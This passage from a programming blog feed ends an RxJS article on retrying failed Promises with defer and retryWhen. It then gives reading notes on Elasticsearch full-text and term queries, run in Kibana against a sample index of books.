  error: val =&amp;gt; console.log(val.message)
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://jsbin.com/zixeqin/17/edit?js,console&quot;&gt;Run online&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/rxjs-error-retry/retrywhen-takewhile-completed.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;There’s a new operator &lt;code&gt;takeWhile&lt;/code&gt;. It takes a function. If the function returns &lt;code&gt;true&lt;/code&gt;, the value continues downstream. Once it returns &lt;code&gt;false&lt;/code&gt;, it triggers &lt;code&gt;complete&lt;/code&gt; in &lt;code&gt;subscribe&lt;/code&gt;, meaning the sequence is done. That should make the code above clear.&lt;/p&gt;
&lt;h2&gt;Handling the Promise problem {#promise-retry}&lt;/h2&gt;
&lt;p&gt;I said &lt;code&gt;retry&lt;/code&gt; and &lt;code&gt;retryWhen&lt;/code&gt; don’t support &lt;code&gt;Promise.reject()&lt;/code&gt;. That’s not quite accurate. &lt;strong&gt;Promise has no retry API&lt;/strong&gt;. By the time you retry, the &lt;code&gt;Promise&lt;/code&gt; is already running, so you can’t call that method again. That’s why &lt;code&gt;retry&lt;/code&gt; and &lt;code&gt;retryWhen&lt;/code&gt; can’t retry a &lt;code&gt;Promise&lt;/code&gt;. The fix is simple.&lt;/p&gt;
&lt;p&gt;Use the &lt;code&gt;defer&lt;/code&gt; operator. Here’s what it does.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;defer&lt;/code&gt; takes a function. The function doesn’t run until you &lt;code&gt;subscribe&lt;/code&gt;. Each run is in its own space, so even with &lt;code&gt;Promise&lt;/code&gt;, retry still works: it doesn’t reuse the previous result. It opens a new memory space, runs the function, and returns the result.&lt;/p&gt;
&lt;p&gt;So you can write:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const getInfo: AxiosPromise = axios.get(&apos;http://xxx.com&apos;)
const exp = defer(() =&amp;gt; getInfo)
  .retryWhen(err =&amp;gt; {
    return err.scan((acc, curr) =&amp;gt; {
      if (acc &amp;gt; 2) {
        throw curr
      }

      return acc + 1
    }, 1)
  })

example.subscribe({
  next: val =&amp;gt; console.log(val),
  error: val =&amp;gt; console.log(val.message)
});
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><category>rxjs</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>Reading notes: From Lucene to Elasticsearch: full-text search in practice</title><link>https://bugs.cc/posts/reading-notes-from-lucene-to-elasticsearch-full-text-search/</link><guid isPermaLink="true">https://bugs.cc/posts/reading-notes-from-lucene-to-elasticsearch-full-text-search/</guid><description>Notes cover only the Elasticsearch search parts</description><pubDate>Sun, 30 Dec 2018 14:52:05 GMT</pubDate><content:encoded>&lt;h2&gt;From Lucene to Elasticsearch: full-text search in practice&lt;/h2&gt;
&lt;p&gt;These notes only cover the search parts of &lt;code&gt;Elasticsearch&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;All searches in this post were run in &lt;code&gt;kibana&lt;/code&gt; &lt;code&gt;Dev tools&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Preparation&lt;/h3&gt;
&lt;p&gt;You need &lt;code&gt;Elasticsearch&lt;/code&gt;, &lt;code&gt;kibana&lt;/code&gt;, and &lt;code&gt;elasticsearch-analysis-ik&lt;/code&gt; installed.&lt;/p&gt;
&lt;p&gt;I will not go into the install steps here. (After installing, remember to restart &lt;code&gt;Elasticsearch&lt;/code&gt;.)&lt;/p&gt;
&lt;p&gt;Once it is back up, open &lt;code&gt;kibana&lt;/code&gt; &lt;code&gt;Dev tools&lt;/code&gt;, paste the DSL below, and run it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;PUT books
{
  &quot;settings&quot;: {
    &quot;number_of_replicas&quot;: 1,
    &quot;number_of_shards&quot;: 3
  },
  &quot;mappings&quot;: {
    &quot;IT&quot;: {
      &quot;properties&quot;: {
        &quot;id&quot;: {
          &quot;type&quot;: &quot;long&quot;
        },
        &quot;title&quot;: {
          &quot;type&quot;: &quot;text&quot;,
          &quot;analyzer&quot;: &quot;ik_max_word&quot;
        },
        &quot;language&quot;: {
          &quot;type&quot;: &quot;keyword&quot;
        },
        &quot;author&quot;: {
          &quot;type&quot;: &quot;keyword&quot;
        },
        &quot;price&quot;: {
          &quot;type&quot;: &quot;double&quot;
        },
        &quot;year&quot;: {
          &quot;type&quot;: &quot;date&quot;,
          &quot;format&quot;: &quot;yyyy-MM-dd&quot;
        },
        &quot;description&quot;: {
          &quot;type&quot;: &quot;text&quot;,
          &quot;analyzer&quot;: &quot;ik_max_word&quot;
        }
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After that, save the following as &lt;code&gt;books.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-jsonl&quot;&gt;{&quot;index&quot;:{ &quot;_index&quot;: &quot;books&quot;, &quot;_type&quot;: &quot;IT&quot;, &quot;_id&quot;: &quot;1&quot; }}
{&quot;id&quot;:&quot;1&quot;,&quot;title&quot;:&quot;Java编程思想&quot;,&quot;language&quot;:&quot;java&quot;,&quot;author&quot;:&quot;Bruce Eckel&quot;,&quot;price&quot;:70.20,&quot;publish_time&quot;:&quot;2007-10-01&quot;,&quot;description&quot;:&quot;Java学习必读经典,殿堂级著作！赢得了全球程序员的广泛赞誉。&quot;}
{&quot;index&quot;:{ &quot;_index&quot;: &quot;books&quot;, &quot;_type&quot;: &quot;IT&quot;, &quot;_id&quot;: &quot;2&quot; }}
{&quot;id&quot;:&quot;2&quot;,&quot;title&quot;:&quot;Java程序性能优化&quot;,&quot;language&quot;:&quot;java&quot;,&quot;author&quot;:&quot;葛一鸣&quot;,&quot;price&quot;:46.50,&quot;publish_time&quot;:&quot;2012-08-01&quot;,&quot;description&quot;:&quot;让你的Java程序更快、更稳定。深入剖析软件设计层面、代码层面、JVM虚拟机层面的优化方法&quot;}
{&quot;index&quot;:{ &quot;_index&quot;: &quot;books&quot;, &quot;_type&quot;: &quot;IT&quot;, &quot;_id&quot;: &quot;3&quot; }}
{&quot;id&quot;:&quot;3&quot;,&quot;title&quot;:&quot;Python科学计算&quot;,&quot;language&quot;:&quot;python&quot;,&quot;author&quot;:&quot;张若愚&quot;,&quot;price&quot;:81.40,&quot;publish_time&quot;:&quot;2016-05-01&quot;,&quot;description&quot;:&quot;零基础学python,光盘中作者独家整合开发winPython运行环境，涵盖了Python各个扩展库&quot;}
{&quot;index&quot;:{ &quot;_index&quot;: &quot;books&quot;, &quot;_type&quot;: &quot;IT&quot;, &quot;_id&quot;: &quot;4&quot; }}
{&quot;id&quot;:&quot;4&quot;,&quot;title&quot;:&quot;Python基础教程&quot;,&quot;language&quot;:&quot;python&quot;,&quot;author&quot;:&quot;Helant&quot;,&quot;price&quot;:54.50,&quot;publish_time&quot;:&quot;2014-03-01&quot;,&quot;description&quot;:&quot;经典的Python入门教程，层次鲜明，结构严谨，内容翔实&quot;}
{&quot;index&quot;:{ &quot;_index&quot;: &quot;books&quot;, &quot;_type&quot;: &quot;IT&quot;, &quot;_id&quot;: &quot;5&quot; }}
{&quot;id&quot;:&quot;5&quot;,&quot;title&quot;:&quot;JavaScript高级程序设计&quot;,&quot;language&quot;:&quot;javascript&quot;,&quot;author&quot;:&quot;Nicholas C. Zakas&quot;,&quot;price&quot;:66.40,&quot;publish_time&quot;:&quot;2012-10-01&quot;,&quot;description&quot;:&quot;JavaScript技术经典名著&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then import it. If your &lt;code&gt;Elasticsearch&lt;/code&gt; version is below &lt;code&gt;6.0&lt;/code&gt;, import &lt;code&gt;books.json&lt;/code&gt; with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -XPOST &quot;http://localhost:9200/_bulk?pretty&quot; --data-binary @books.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If your &lt;code&gt;Elasticsearch&lt;/code&gt; version is above &lt;code&gt;6.0&lt;/code&gt;, import with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -H &quot;Content-Type: application/json&quot; -XPOST &quot;http://localhost:9200/_bulk?pretty&quot; --data-binary @books.json
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Basic search&lt;/h3&gt;
&lt;h4&gt;Return all documents in an index&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;query&quot;: {
    &quot;match_all&quot;: {}
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can shorten it to:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/search
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Find documents whose field contains a given word&lt;/h4&gt;
&lt;p&gt;Use &lt;code&gt;term&lt;/code&gt; to query. A &lt;code&gt;term&lt;/code&gt; query is not analyzed; the search term has to match a term in the document exactly. Typical uses: names, places, anything that needs an exact match.&lt;/p&gt;
&lt;p&gt;Find books whose title field contains &lt;code&gt;思想&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;query&quot;: {
    &quot;term&quot;: {
      &quot;title&quot;: &quot;思想&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/term-query-single-hit.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;Paginate the results&lt;/h4&gt;
&lt;p&gt;Sometimes a query returns thousands of hits. That is where pagination comes in.&lt;/p&gt;
&lt;p&gt;Pagination has two properties, &lt;code&gt;from&lt;/code&gt; and &lt;code&gt;size&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;from: where to start&lt;/li&gt;
&lt;li&gt;size: max number of documents to return&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can think of it as: start at &lt;code&gt;from&lt;/code&gt; and return the rest of the documents, then &lt;code&gt;size&lt;/code&gt; caps how many you actually get back.&lt;/p&gt;
&lt;p&gt;In JS that would look like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const from = 100 - 1; // arrays start at 0, so subtract one
const size = 10;
const data = [1, 2, 3, ..., 999, 1000];

const fromDate = data.splice(from);
const result = fromData.splice(0, size);
console.log(result) //=&amp;gt; [100, 101, 102, 103, 104, 105, 106, 107, 108, 109]
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Limit returned fields&lt;/h4&gt;
&lt;p&gt;Usually we query to look at a few fields, not every field. By default &lt;code&gt;Elasticsearch&lt;/code&gt; returns all fields of a document, which can get in the way. So &lt;code&gt;Elasticsearch&lt;/code&gt; provides a way to limit the returned fields. Say I only need &lt;code&gt;title&lt;/code&gt; and &lt;code&gt;author&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;author&quot;],
  &quot;query&quot;: {
    &quot;term&quot;: {
      &quot;title&quot;: &quot;java&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/source-filter-title-author.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;Filter by a minimum score&lt;/h4&gt;
&lt;p&gt;Ordinary &lt;code&gt;Elasticsearch&lt;/code&gt; search is relevance-based, and relevance comes from the &lt;code&gt;score&lt;/code&gt;. On a fuzzy search, &lt;code&gt;Elasticsearch&lt;/code&gt; may return documents that are not that relevant. You can set a minimum score, and documents below that score will not show up.&lt;/p&gt;
&lt;p&gt;For example, I want documents whose &lt;code&gt;title&lt;/code&gt; contains &lt;code&gt;java&lt;/code&gt;, with a score of at least &lt;code&gt;0.7&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;min_score&quot;: 0.7,
  &quot;query&quot;: {
    &quot;term&quot;: {
      &quot;title&quot;: &quot;java&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/min-score-filtered-hit.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;Highlight keywords&lt;/h4&gt;
&lt;p&gt;Sometimes we import &lt;code&gt;Elasticsearch&lt;/code&gt; results directly into a web page. Then we want keywords highlighted so the user can see more clearly what they searched for. &lt;code&gt;Elasticsearch&lt;/code&gt; already has an API for this. Say I want keywords in the results highlighted:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;],
  &quot;min_score&quot;: 0.7,
  &quot;query&quot;: {
    &quot;term&quot;: {
      &quot;title&quot;: &quot;java&quot;
    }
  },
  &quot;highlight&quot;: {
    &quot;fields&quot;: {
      &quot;title&quot;: {}
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/highlight-em-tags.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The default tags are &lt;code&gt;&amp;lt;em&amp;gt;&amp;lt;/em&amp;gt;&lt;/code&gt;. To customize them, use &lt;code&gt;pre_tags&lt;/code&gt; and &lt;code&gt;post_tags&lt;/code&gt;. The full query:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;],
  &quot;min_score&quot;: 0.7,
  &quot;query&quot;: {
    &quot;term&quot;: {
      &quot;title&quot;: &quot;java&quot;
    }
  },
  &quot;highlight&quot; : {
    &quot;pre_tags&quot; : [&quot;&amp;lt;h1&amp;gt;&quot;],
    &quot;post_tags&quot; : [&quot;&amp;lt;/h1&amp;gt;&quot;],
    &quot;fields&quot; : {
      &quot;title&quot; : {}
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/highlight-h1-tags.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Full-text queries&lt;/h3&gt;
&lt;p&gt;The previous section mostly searched with &lt;code&gt;term&lt;/code&gt;, but &lt;code&gt;Elasticsearch&lt;/code&gt; has many search methods. This chapter is about those methods and what each one does.&lt;/p&gt;
&lt;p&gt;I am skipping &lt;code&gt;common_terms query&lt;/code&gt;, &lt;code&gt;query_string query&lt;/code&gt;, and &lt;code&gt;simple_query_string query&lt;/code&gt;. They are used less often, and they take more explaining. If you want to know more, look them up online. I will not go into them here.&lt;/p&gt;
&lt;h4&gt;match query&lt;/h4&gt;
&lt;p&gt;First, a &lt;code&gt;term&lt;/code&gt; query:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;author&quot;],
  &quot;query&quot;: {
    &quot;term&quot;: {
      &quot;title&quot;: &quot;java编程&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You will see that the result is empty (the data is in the index, though):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/term-query-no-hits.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;That is because &lt;code&gt;term&lt;/code&gt; matches against analyzed terms. The &lt;code&gt;java编程&lt;/code&gt; we just searched is analyzed into &lt;code&gt;java&lt;/code&gt; and &lt;code&gt;编程&lt;/code&gt;, so the whole string does not match.&lt;/p&gt;
&lt;p&gt;In code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const keyword = &apos;java编程&apos;;
const data = [&apos;java&apos;, &apos;编程&apos;];
const result = data.includes(keyword);
console.log(result) //=&amp;gt; false
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now try swapping &lt;code&gt;term&lt;/code&gt; for &lt;code&gt;match&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;author&quot;],
  &quot;query&quot;: {
    &quot;match&quot;: {
      &quot;title&quot;: &quot;java编程&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/match-or-two-hits.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;There are hits now. Why two of them?&lt;/p&gt;
&lt;p&gt;Because &lt;code&gt;match&lt;/code&gt; analyzes your keywords, then matches them against the analyzed terms in the document. If any analyzed term from the document matches any analyzed term from the keyword, the document is returned.&lt;/p&gt;
&lt;p&gt;In code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;const data = [&apos;java&apos;, &apos;编程&apos;, &apos;思想&apos;]; // the document&apos;s terms after analysis
const keywords = [&apos;java&apos;, &apos;编程&apos;, &apos;思想&apos;]; // the keywords after analysis

const result = (() =&amp;gt; {
  for (let x = 0; x &amp;lt; data.length; x++) {
    const dataItem = data[x];
    for (let y = 0; y &amp;lt; keywords.length; y++) {
      const keywordItem = keywords[y];
      if (dataItem === keywordItem) {
        return true;
      }
    }
  }
  return false;
})()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What if I only want one hit, and I still have to use &lt;code&gt;match&lt;/code&gt;? Is that possible?&lt;/p&gt;
&lt;p&gt;Yes. &lt;code&gt;match&lt;/code&gt; has an &lt;code&gt;operator&lt;/code&gt; property that can do this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;author&quot;],
  &quot;query&quot;: {
    &quot;match&quot;: {
      &quot;title&quot;: {
        &quot;query&quot;: &quot;java编程&quot;,
        &quot;operator&quot;: &quot;and&quot;
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/match-and-single-hit.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The idea is that &lt;code&gt;operator&lt;/code&gt; is &lt;code&gt;and&lt;/code&gt;, which tells &lt;code&gt;Elasticsearch&lt;/code&gt; that every keyword term must match a term in the document. Miss one and I do not want it.&lt;/p&gt;
&lt;p&gt;If &lt;code&gt;operator&lt;/code&gt; is &lt;code&gt;or&lt;/code&gt;, the result is the same as before.&lt;/p&gt;
&lt;h4&gt;match_phrase query&lt;/h4&gt;
&lt;p&gt;You can think of this as &lt;code&gt;match&lt;/code&gt; with &lt;code&gt;operator&lt;/code&gt; already set to &lt;code&gt;and&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It has two constraints. Both must hold for a document to show up:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Every analyzed term is in the field, same as &lt;code&gt;operator: &quot;and&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The order has to match&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What does order mean?&lt;/p&gt;
&lt;p&gt;If you use &lt;code&gt;match&lt;/code&gt; with &lt;code&gt;编程java&lt;/code&gt;, you still get the same result as above. If you need the order to match, use &lt;code&gt;match_phrase&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Searching &lt;code&gt;编程java&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/match-phrase-reversed-no-hits.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Searching &lt;code&gt;java编程&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/match-phrase-ordered-hit.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;match_phrase_prefix query&lt;/h4&gt;
&lt;p&gt;This is similar to &lt;code&gt;match_phrase&lt;/code&gt;, except the last term is used as a prefix. Picture a user typing &lt;code&gt;辣鸡UZ&lt;/code&gt; in the search box, and &lt;code&gt;辣鸡UZI&lt;/code&gt; showing up in the dropdown.&lt;/p&gt;
&lt;p&gt;First &lt;code&gt;match_phrase_prefix&lt;/code&gt; analyzes the input into &lt;code&gt;辣鸡&lt;/code&gt;, finds a document, then checks whether the string after &lt;code&gt;辣鸡&lt;/code&gt; starts with &lt;code&gt;UZ&lt;/code&gt;. If it does, the document is a hit. You can picture a &lt;code&gt;(.*)&lt;/code&gt; wildcard stuck on the end, like &lt;code&gt;辣鸡UZ(.*)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Knowing that, here is a query:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;author&quot;],
  &quot;query&quot;: {
    &quot;match_phrase_prefix&quot;: {
      &quot;title&quot;: &quot;java编&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/match-phrase-prefix-hit.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;multi_match query&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;multi_match&lt;/code&gt; is an upgrade of &lt;code&gt;match&lt;/code&gt;. It searches multiple fields.&lt;/p&gt;
&lt;p&gt;Say I do not want to search only &lt;code&gt;title&lt;/code&gt; for &lt;code&gt;java编程&lt;/code&gt;; I also want to search &lt;code&gt;description&lt;/code&gt;. How?&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Elasticsearch&lt;/code&gt; already has &lt;code&gt;multi_match&lt;/code&gt; for this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;description&quot;],
  &quot;query&quot;: {
    &quot;multi_match&quot;: {
      &quot;query&quot;: &quot;java编程&quot;,
      &quot;fields&quot;: [&quot;title&quot;, &quot;description&quot;]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/multi-match-title-description.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;multi_match&lt;/code&gt; also supports wildcards. The query above can be written as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;description&quot;],
  &quot;query&quot;: {
    &quot;multi_match&quot;: {
      &quot;query&quot;: &quot;java编程&quot;,
      &quot;fields&quot;: [&quot;title&quot;, &quot;*tion&quot;]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Term queries&lt;/h3&gt;
&lt;p&gt;The previous chapter was full-text queries. This one is term queries. The difference:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Full-text queries: analyze the query, then match against analyzed terms in the document&lt;/li&gt;
&lt;li&gt;Term queries: do not analyze the query&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;term query&lt;/h4&gt;
&lt;p&gt;I already covered this in the first chapter, so I will not go into it again.&lt;/p&gt;
&lt;h4&gt;terms query&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;terms&lt;/code&gt; is an upgrade of &lt;code&gt;term&lt;/code&gt;. It checks whether a field contains any of the given keywords. For example, documents whose &lt;code&gt;title&lt;/code&gt; contains &lt;code&gt;优化&lt;/code&gt; or &lt;code&gt;基础&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;],
  &quot;query&quot;: {
    &quot;terms&quot;: {
      &quot;title&quot;: [&quot;优化&quot;, &quot;基础&quot;]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/terms-query-two-hits.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;range query&lt;/h4&gt;
&lt;p&gt;You can guess from the name that &lt;code&gt;range&lt;/code&gt; is range matching. It can match &lt;code&gt;number&lt;/code&gt;, &lt;code&gt;date&lt;/code&gt;, and &lt;code&gt;string&lt;/code&gt; (string range queries are a bit special and not used much, so I will skip them).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;range&lt;/code&gt; supports these parameters:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;gt: greater than&lt;/li&gt;
&lt;li&gt;gte: greater than or equal&lt;/li&gt;
&lt;li&gt;lt: less than&lt;/li&gt;
&lt;li&gt;lte: less than or equal&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;number range query&lt;/h5&gt;
&lt;p&gt;I want books priced below 70 and at least 50. In pseudocode: &lt;code&gt;(price &amp;gt;= 50 &amp;amp;&amp;amp; price &amp;lt; 70)&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;price&quot;],
  &quot;query&quot;: {
    &quot;range&quot;: {
      &quot;price&quot;: {
        &quot;gte&quot;: 50,
        &quot;lt&quot;: 70
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/range-price-hits.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h5&gt;date range query&lt;/h5&gt;
&lt;p&gt;If I want books published between &lt;code&gt;2016-1-1&lt;/code&gt; and &lt;code&gt;2016-12-31&lt;/code&gt;, the DSL looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: [&quot;title&quot;, &quot;publish_time&quot;],
  &quot;query&quot;: {
    &quot;range&quot;: {
      &quot;publish_time&quot;: {
        &quot;gte&quot;: &quot;2016-1-1&quot;,
        &quot;lte&quot;: &quot;2016-12-31&quot;,
        &quot;format&quot;: &quot;yyyy-MM-dd&quot;
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/range-date-hit.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h4&gt;exists query&lt;/h4&gt;
&lt;p&gt;Matches documents that have this field. For example, documents that have a &lt;code&gt;title&lt;/code&gt; field:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;GET books/_search
{
  &quot;_source&quot;: &quot;title&quot;,
  &quot;query&quot;: {
    &quot;exists&quot;: {
      &quot;field&quot;: &quot;title&quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The result returns every document. So how do we define “has this field”?&lt;/p&gt;
&lt;p&gt;The rules:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;{&quot;title&quot;: &quot;js&quot;}&lt;/code&gt;: exists&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;title&quot;: &quot;&quot;}&lt;/code&gt;: exists&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;title&quot;: [&quot;js&quot;]}&lt;/code&gt;: exists&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;title&quot;: [&quot;js&quot;, null]}&lt;/code&gt;: exists (one non-empty value is enough)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;title&quot;: null}&lt;/code&gt;: does not exist&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;title&quot;: []}&lt;/code&gt; does not exist&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;title&quot;: [null]}&lt;/code&gt; does not exist&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{&quot;foo&quot;: &quot;bar&quot;}&lt;/code&gt;: does not exist&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;prefix query&lt;/h4&gt;
&lt;p&gt;Matches the prefix of analyzed terms in the document. First, a DSL query:&lt;/p&gt;
